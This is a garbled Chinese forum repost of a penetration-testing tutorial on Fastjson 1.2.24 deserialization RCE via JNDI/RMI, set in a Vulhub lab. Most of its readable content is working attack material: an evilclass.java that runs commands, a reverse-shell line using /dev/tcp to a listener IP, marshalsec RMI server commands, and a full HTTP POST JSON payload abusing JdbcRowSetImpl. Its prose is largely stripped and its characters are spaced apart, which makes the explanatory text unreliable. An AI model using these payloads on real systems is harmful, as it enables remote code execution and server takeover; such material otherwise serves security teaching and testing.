[17038] 2021-07-17_框架安全之Fastjson渗透

文档创建者:s7ckTeam
浏览次数:39
最后更新:2025-01-18
2021-07-17_框架安全之Fastjson渗透 F a s t j s o n   K r 1 p t 0   F r e e B u f   2 0 2 1 - 0 7 - 1 7 F a s t j s o n F a s t j s o n F a s t j s o n F a s t j s o n F a s t j s o n F a s t j s o n F a s t j s o n R M I L D A P F a s t j s o n R C E F a s t j s o n F a s t j s o n F a s t j s o n F a s t j s o n 广 使 使 J N D I 访 访 访 J N D I J N D I R M I J a v a 使 L D A P 访 访 访 X . 5 0 0 访 L D A P J N D I 使 使 访 F a s t j s o n J a v a J S O N J a v a J S O N J S O N J a v a F a s t j s o n J a v a J N D I   ( J a v a   N a m i n g   a n d   D i r e c t o r y   I n t e r f a c e ) J 2 E E J N D I J 2 E E J N D I R M I J N D I R M I J N D I D N S L D A P C O R B A R M I R M I   ( R e m o t e   M e t h o d   I n v o c a t i o n ) A P I A P I R M I L D A P ( L i g h t w e i g h t   D i r e c t o r y   A c c e s s   P r o t o c o l ) J N D I R M I R e f e r e n c e s R e f e r e n c e R e f e r e n c e a b l e . g e t R e f e r e n c e ( ) l o o k u p ( ) R e f e r e n c e W r a p p e r g e t R e f e r e n c e ( ) R e f e r e n c e o b j e c t   f a c t o r y f a c t o r y r e f e r e n c e R e f e r e n c e W r a p p e r U n i c a s t R m o t e O b j e c t R e f e r e n c e R e f e r e n c e R M I
1 .   I n i t i a l C o n t e x t . l o o k u p ( U R I ) U R I 2 .   U R I R M I r m i : / / h a c k e r _ r m i _ s e r v e r / / n a m e 3 .   R M I R e f e r e n c e R e f e r e n c e F a c t o r y 4 .   l o o k u p ( ) F a c t o r y f a c t o r y . g e t O b j e c t I n s t a n c e ( ) 5 .   F a c t o r y g e t O b j e c t I n s t a n c e ( ) R C E J N D I J a v a   -     -   F a s t j s o n 1 I D E A I D E A h t t p s : / / w w w . j e t b r a i n s . c o m / i d e a / d o w n l o a d / # s e c t i o n = w i n d o w s 2 I D E A 1 2 3 x 6 4 3 0 C o m m u n i t y I D E A
3 J D K 1 . 8 4 I D E A c o n t i n u e
5 F a s t j s o n j a r h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m . a l i b a b a / f a s t j s o n 1 1 . 2 . 2 4 2 3 4 I D E A   x 6 4 J D K 1 . 8 u 1 6 1 N E X T F J ( ) f a s t j s o n - 1 . 2 . 2 4 . j a r
5 6 j a r M o d u l e D e p e n d e n c i e s
6 f a s t j s o n j a v a   c l a s s U s e r i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; p u b l i c   c l a s s   F J d e m o   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s ) { U s e r   u s e r   =   n e w   U s e r ( ) ; u s e r . s e t N a m e ( " " ) ; u s e r . s e t A g e ( 1 8 ) ; S t r i n g   j s o n S t r   =   J S O N . t o J S O N S t r i n g ( u s e r ) ; S y s t e m . o u t . p r i n t f ( j s o n S t r ) ; } } p r i v a t e   S t r i n g   n a m e ; p r i v a t e   I n t e g e r   a g e ; p u b l i c   S t r i n g   g e t N a m e ( )   { r e t u r n   n a m e ; } p u b l i c   v o i d   s e t N a m e ( S t r i n g   n a m e )   { t h i s . n a m e   =   n a m e ; } p u b l i c   I n t e g e r   g e t A g e ( )   { r e t u r n   a g e ; } p u b l i c   v o i d   s e t A g e ( I n t e g e r   a g e )   { t h i s . a g e   =   a g e ; } @ O v e r r i d e p u b l i c   S t r i n g   t o S t r i n g ( )   { r e t u r n   " U s e r { "   + " n a m e = ' "   +   n a m e   +   ' ' '   + " ,   a g e = "   +   a g e   +
r u n F J d e m o m a i n 1 F a s t j s o n 1 . 2 . 2 4   R C E C V E - 2 0 1 7 - 1 8 3 4 9 0 x 0 1   f a s t j s o n j s o n 使 a u t o T y p e s e t / g e t 访 F a s t j s o n   a u t o T y p e j s o n @ t y p e R M I F a s t j s o n 1 . 2 . 2 5 R M I L D A P R M I J A V A L D A P 访 J A V A R M I J D K 6 u 1 3 2 7 u 1 3 1 8 u 1 2 1 8 u 1 2 2 R M I L D A P J D K 6 u 2 1 1 7 u 2 0 1 8 u 1 9 1 1 1 . 0 . 1 8 u 1 9 1 O r a c l e L D A P C V E - 2 0 1 8 - 3 1 4 9 J N D I 0 x 0 2   使 " ,   a g e = "   +   a g e   + ' } ' ; } v u l h u b c d   v u l h u b / f a s t j s o n / 1 . 2 . 2 4 - r c e s u d o   d o c k e r - c o m p o s e   u p   - d I P :   1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 s u d o   d o c k e r   p s
j a v a 访 ~ 0 x 0 3   J a v a   8 u 1 0 2 使 J N D I J a v a 8 u 2 0 便 J a v a J a v a 8 u 2 0 使 1 使 2 m a r s h a l s e c R M I h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c 3 m a v e n s u d o   d o c k e r   e x e c   - i t   9 5 9 9 a d 4 b 7 c e c   b a s h c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e c o m . s u n . r o w s e t . J d b c R o w S e t I m p l c d   / o p t c u r l   h t t p : / / w w w . j o a o m a t o s f . c o m / r n p / j a v a _ f i l e s / j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z   - o   j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z t a r   z x v f   j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z r m   - r f   / u s r / b i n / j a v a * l n   - s   / o p t / j d k 1 . 8 . 0 _ 2 0 / b i n / j *   / u s r / b i n j a v a c   - v e r s i o n j a v a   - v e r s i o n e v i l c l a s s . j a v a i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   e v i l c l a s s { s t a t i c   { t r y   { R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ; S t r i n g [ ]   c o m m a n d s   =   { " t o u c h " ,   " / t m p / t e s t " } ; P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ; p c . w a i t F o r ( ) ; }   c a t c h   ( E x c e p t i o n   e )   { / /   d o   n o t h i n g } } } j a v a c j a v a c   e v i l c l a s s . j a v a m a r s h a l s e c g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c . g i t a p t - g e t   i n s t a l l   m a v e n
4 使 使 m a v e n m a r s h a l s e c j a r 5 R M I 6 B u r p S u i t e e v i l c l a s s t e s t 0 x 0 4   L i n u x s h e l l m v n   c l e a n   p a c k a g e   - D s k i p T e s t s j a v a   - c p   m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . j n d i . R M I R e f S e r v e r   " h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 6 / # e v i l c l a s s "   9 9 9 9 P O S T   /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 : 8 0 9 0 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 7 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 8 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   0 { " b " : { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " r m i : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 6 : 9 9 9 9 / e v i l c l a s s " , " a u t o C o m m i t " : t r u e } }
j a v a s h e l l s h e l l 2 F a s t j s o n 1 . 2 . 2 4   R C E w i n 0 x 0 1   L i n u x V u l h u b f a s t j s o n s p r i n g + f a s t j s o n f a s t j s o n 0 x 0 2     S p r i n g + F a s t j s o n 1 S p r i n g S p r i n g i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   e v i l c l a s s { s t a t i c   { t r y   { R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ; S t r i n g [ ]   c o m m a n d s   =   { " / b i n / b a s h " ,   " - c " ,   " b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 6 / 9 0 0 1   0 > & 1 " } ; P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ; p c . w a i t F o r ( ) ; }   c a t c h   ( E x c e p t i o n   e )   { / /   d o   n o t h i n g } } } j a v a c B u r p s u i t e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则